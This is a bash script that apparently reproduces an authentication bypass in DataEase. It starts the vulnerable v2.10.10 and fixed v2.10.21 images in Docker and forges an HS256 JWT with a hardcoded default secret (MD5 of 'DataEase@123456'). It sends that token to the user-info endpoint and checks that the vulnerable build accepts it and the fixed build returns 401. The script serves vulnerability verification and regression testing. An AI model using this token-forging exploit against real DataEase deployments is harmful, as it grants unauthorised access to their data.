#!/bin/bash
set -euo pipefail

# Portable root detection
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

# Configuration
VULN_IMAGE="registry.cn-qingdao.aliyuncs.com/dataease/dataease:v2.10.10"
FIXED_IMAGE="registry.cn-qingdao.aliyuncs.com/dataease/dataease:v2.10.21"
MYSQL_IMAGE="registry.cn-qingdao.aliyuncs.com/dataease/mysql:8.4.5"
DE_PORT=8100
MYSQL_ROOT_PASSWORD="Password123@mysql"
DE_DB="dataease"

# Prepare data directories
DATA_DIR="$ROOT/dataease-run"
mkdir -p "$DATA_DIR"/conf "$DATA_DIR"/logs "$DATA_DIR"/data/mysql "$DATA_DIR"/bin/mysql \
  "$DATA_DIR"/data/static-resource "$DATA_DIR"/cache "$DATA_DIR"/data/geo \
  "$DATA_DIR"/data/appearance "$DATA_DIR"/data/exportData "$DATA_DIR"/data/plugin \
  "$DATA_DIR"/data/font "$DATA_DIR"/data/i18n

# Write MySQL init
if [ ! -f "$DATA_DIR/bin/mysql/init.sql" ]; then
  echo "CREATE DATABASE \`dataease\` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci;" > "$DATA_DIR/bin/mysql/init.sql"
fi

# Write configs
if [ ! -f "$DATA_DIR/conf/my.cnf" ]; then
  cat > "$DATA_DIR/conf/my.cnf" <<'CNF'
[mysqld]
character-set-server=utf8mb4
collation-server=utf8mb4_0900_ai_ci
CNF
fi

if [ ! -f "$DATA_DIR/conf/application.yml" ]; then
  cat > "$DATA_DIR/conf/application.yml" <<'YML'
server:
  tomcat:
    connection-timeout: 70000
  servlet:
    context-path:
spring:
  servlet:
    multipart:
      max-file-size: 500MB
      max-request-size: 500MB
  datasource:
    url: jdbc:mysql://mysql-de:3306/dataease?autoReconnect=false&useUnicode=true&characterEncoding=UTF-8&characterSetResults=UTF-8&zeroDateTimeBehavior=convertToNull&useSSL=false&allowPublicKeyRetrieval=true
    username: root
    password: Password123@mysql
dataease:
  apisix-api:
    domain: http://apisix:9180
    key: DE_APISIX_KEY
  export:
    views:
      limit: 100000
    dataset:
      limit: 100000
  origin-list: "http://localhost:8000"
  login_timeout: 960
  dataease-servers: dataease
  playwright-server: http://de-playwright-api:3000/screenshot
task:
  executor:
    address: http://sync-task-actuator:9001
    log:
      path: /opt/dataease2.0/logs/sync-task/task-handler-log
YML
fi

# Cleanup helper
cleanup_all() {
  echo "[+] Cleaning up containers..."
  docker rm -f dataease mysql-de >/dev/null 2>&1 || true
  docker network rm dataease-network >/dev/null 2>&1 || true
}
trap cleanup_all EXIT

# Forge JWT with MD5("DataEase@123456") secret
FORGE_JWT() {
  python3 - "$1" <<'PYEOF'
import sys, hmac, hashlib, base64, json
secret = sys.argv[1]
header = base64.urlsafe_b64encode(json.dumps({"alg":"HS256","typ":"JWT"}).encode()).rstrip(b"=")
payload = base64.urlsafe_b64encode(json.dumps({"uid":1,"oid":1}).encode()).rstrip(b"=")
msg = header + b"." + payload
sig = hmac.new(secret.encode(), msg, hashlib.sha256).digest()
signature = base64.urlsafe_b64encode(sig).rstrip(b"=")
print((msg + b"." + signature).decode())
PYEOF
}

SECRET="504c8c8dfcbbe5b50d676ad65ef43909"
TOKEN=$(FORGE_JWT "$SECRET")
echo "[+] Forged JWT (secret=MD5(DataEase@123456)): $TOKEN"

wait_for_app() {
  local url=$1
  local max_wait=${2:-180}
  echo -n "[+] Waiting for app at $url"
  for i in $(seq 1 $max_wait); do
    local code
    code=$(curl -s -o /dev/null -w "%{http_code}" "$url" || true)
    if [ "$code" = "401" ] || [ "$code" = "200" ]; then
      echo " OK (${code})"
      return 0
    fi
    sleep 1
    echo -n "."
  done
  echo " TIMEOUT"
  return 1
}

# Setup MySQL once, keep it running across tests
setup_mysql() {
  echo "[+] Setting up MySQL..."
  docker network create dataease-network >/dev/null 2>&1 || true

  docker run -d --name mysql-de --network dataease-network \
    -e MYSQL_ROOT_PASSWORD="$MYSQL_ROOT_PASSWORD" \
    -v "$DATA_DIR/conf/my.cnf:/etc/mysql/conf.d/my.cnf" \
    -v "$DATA_DIR/bin/mysql:/docker-entrypoint-initdb.d" \
    -v "$DATA_DIR/data/mysql:/var/lib/mysql" \
    "$MYSQL_IMAGE" >/dev/null

  echo -n "[+] Waiting for MySQL"
  for i in $(seq 1 60); do
    if docker exec mysql-de mysqladmin ping -h localhost -uroot -p"$MYSQL_ROOT_PASSWORD" --protocol tcp >/dev/null 2>&1; then
      echo " OK"
      break
    fi
    sleep 1
    echo -n "."
  done
}

run_app_test() {
  local image=$1
  local label=$2
  local expect_code=$3
  local expect_header=${4:-}

  echo ""
  echo "========================================"
  echo " Testing $label ($image)"
  echo "========================================"

  # Start DataEase
  docker run -d --name dataease --network dataease-network -p "$DE_PORT:$DE_PORT" \
    -v "$DATA_DIR/conf:/opt/apps/config" \
    -v "$DATA_DIR/logs:/opt/dataease2.0/logs" \
    -v "$DATA_DIR/data/static-resource:/opt/dataease2.0/data/static-resource" \
    -v "$DATA_DIR/cache:/opt/dataease2.0/cache" \
    -v "$DATA_DIR/data/geo:/opt/dataease2.0/data/geo" \
    -v "$DATA_DIR/data/appearance:/opt/dataease2.0/data/appearance" \
    -v "$DATA_DIR/data/exportData:/opt/dataease2.0/data/exportData" \
    -v "$DATA_DIR/data/plugin:/opt/dataease2.0/data/plugin" \
    -v "$DATA_DIR/data/font:/opt/dataease2.0/data/font" \
    -v "$DATA_DIR/data/i18n:/opt/dataease2.0/data/i18n" \
    -e DE_MYSQL_HOST=mysql-de \
    -e DE_MYSQL_PORT=3306 \
    -e DE_MYSQL_DB=dataease \
    -e DE_MYSQL_USER=root \
    -e DE_MYSQL_PASSWORD="$MYSQL_ROOT_PASSWORD" \
    -e DE_INSTALL_MODE=community \
    "$image" >/dev/null

  # Wait for app
  wait_for_app "http://127.0.0.1:$DE_PORT/de2api/user/personInfo" || return 1

  # Baseline: anonymous request should 401
  echo "[+] Anonymous baseline (no token):"
  BASELINE_CODE=$(curl -s -o /dev/null -w "%{http_code}" "http://127.0.0.1:$DE_PORT/de2api/user/personInfo")
  echo "    HTTP $BASELINE_CODE"
  if [ "$BASELINE_CODE" != "401" ]; then
    echo "ERROR: Expected 401 for anonymous request, got $BASELINE_CODE"
    return 1
  fi

  # Attack: forged JWT
  echo "[+] Attack with forged JWT:"
  ATTACK_RESP=$(curl -s -i -H "X-DE-TOKEN: $TOKEN" "http://127.0.0.1:$DE_PORT/de2api/user/personInfo")
  ATTACK_CODE=$(echo "$ATTACK_RESP" | grep -E "^HTTP/[0-9.]+" | awk '{print $2}')
  echo "    HTTP $ATTACK_CODE"
  echo "$ATTACK_RESP" > "$LOGS/${label}_attack_response.txt"

  if [ "$ATTACK_CODE" != "$expect_code" ]; then
    echo "ERROR: Expected HTTP $expect_code, got $ATTACK_CODE"
    return 1
  fi

  if [ -n "$expect_header" ]; then
    if ! echo "$ATTACK_RESP" | grep -qi "$expect_header"; then
      echo "ERROR: Expected header '$expect_header' not found in response"
      return 1
    fi
  fi

  # Save transcript
  cat > "$LOGS/${label}_transcript.txt" <<EOF
Version: $image
Secret: $SECRET
JWT: $TOKEN
Anonymous baseline: HTTP $BASELINE_CODE
Forged JWT attack: HTTP $ATTACK_CODE
EOF

  echo "[+] $label test PASSED"

  # Stop DataEase but keep MySQL
  docker stop dataease >/dev/null 2>&1 && docker rm dataease >/dev/null 2>&1 || true
  return 0
}

# Clean slate for reproducibility
rm -rf "$DATA_DIR/data/mysql"/*

# Setup MySQL
setup_mysql

# Test vulnerable version
run_app_test "$VULN_IMAGE" "vulnerable" "200" "" || exit 1

# Test fixed version with SAME MySQL data
run_app_test "$FIXED_IMAGE" "fixed" "401" "DE-GATEWAY-FLAG" || exit 1

echo ""
echo "========================================"
echo " ALL TESTS PASSED"
echo "========================================"
echo "Artifacts saved to $LOGS/"
exit 0